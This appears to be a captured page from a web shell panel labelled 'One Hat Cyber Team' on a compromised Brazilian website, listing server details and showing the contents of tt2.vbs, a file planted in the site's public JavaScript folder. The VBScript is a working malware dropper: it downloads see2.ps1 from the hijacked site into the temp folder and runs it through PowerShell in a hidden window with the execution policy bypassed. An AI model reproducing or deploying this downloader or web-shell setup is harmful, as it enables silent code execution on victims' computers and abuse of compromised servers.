One Hat Cyber Team

Your IP : 216.73.216.193

Server IP : 170.247.48.121

Server : Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.0.33

Buat File | Buat Folder

Dir : ~/home/lelopagani.com.br/public/assets/js/

Edit File: tt2.vbs

Dim tempPath, url, objShell, objHTTP, fso, psCommand

' Define the URL and temporary file path
url = "https://www.lelopagani.com.br/assets/js/see2.ps1"
tempPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\see2.ps1"

' Create necessary objects
Set objShell = CreateObject("WScript.Shell")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Set fso = CreateObject("Scripting.FileSystemObject")

' Download the PowerShell script
objHTTP.Open "GET", url, False
objHTTP.Send

If objHTTP.Status = 200 Then
    ' Save the downloaded file
    Dim stream: Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1 ' Binary
    stream.Open
    stream.Write objHTTP.responseBody
    stream.SaveToFile tempPath, 2 ' Overwrite if exists
    stream.Close
    Set stream = Nothing
    
    ' Execute the PowerShell script hidden with bypass execution policy
    psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File """ & tempPath & """"
    objShell.Run psCommand, 0, False ' 0 = hidden window
    
    WScript.Sleep 1000 ' Brief pause to ensure execution
    
    ' Optional: Clean up the downloaded file after execution
    ' If fso.FileExists(tempPath) Then
    '     fso.DeleteFile tempPath
    ' End If
Else
    MsgBox "Failed to download file. HTTP Status: " & objHTTP.Status
End If

' Clean up objects
Set objShell = Nothing
Set objHTTP = Nothing
Set fso = Nothing